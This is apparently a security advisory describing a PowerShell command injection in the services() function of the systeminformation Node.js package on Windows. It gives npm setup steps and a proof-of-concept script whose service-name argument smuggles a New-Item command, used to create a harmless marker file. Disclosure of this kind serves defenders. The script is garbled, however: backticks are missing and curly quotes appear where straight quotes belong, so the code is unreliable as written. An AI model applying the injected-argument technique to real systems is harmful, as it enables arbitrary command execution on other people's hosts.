Command Injection Affecting systeminformation package, versions <5.33.16

systeminformation is a simple system and OS information library.

Affected versions of this package are vulnerable to Command Injection via the services() function on Windows, due to insufficient sanitization of shell strings in sanitizeShellString within lib/util.js. An attacker who controls the service name argument passed to services() can inject arbitrary PowerShell commands that are executed on the host system.

Run this on Windows in a disposable directory with Node.js and PowerShell available:

mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15

Save the following as poc.cjs, then run node poc.cjs:

'use strict';

const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
(async () => {
  const markerName = si-injection-${process.pid}.txt;
  const markerPath = path.join(process.cwd(), markerName);
  fs.rmSync(markerPath, { force: true });
  try {
    await si.services(not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “);
    console.log(markerCreated=${fs.existsSync(markerPath)});
  } finally {
    fs.rmSync(markerPath, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected output:

markerCreated=true

The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.

Note: The PoC targets systeminformation 5.33.15 on Windows with Node.js and PowerShell available, using a disposable local directory.

• GitHub Advisory
• GitHub Commit
• GitHub Release
• Red Hat Bugzilla Bug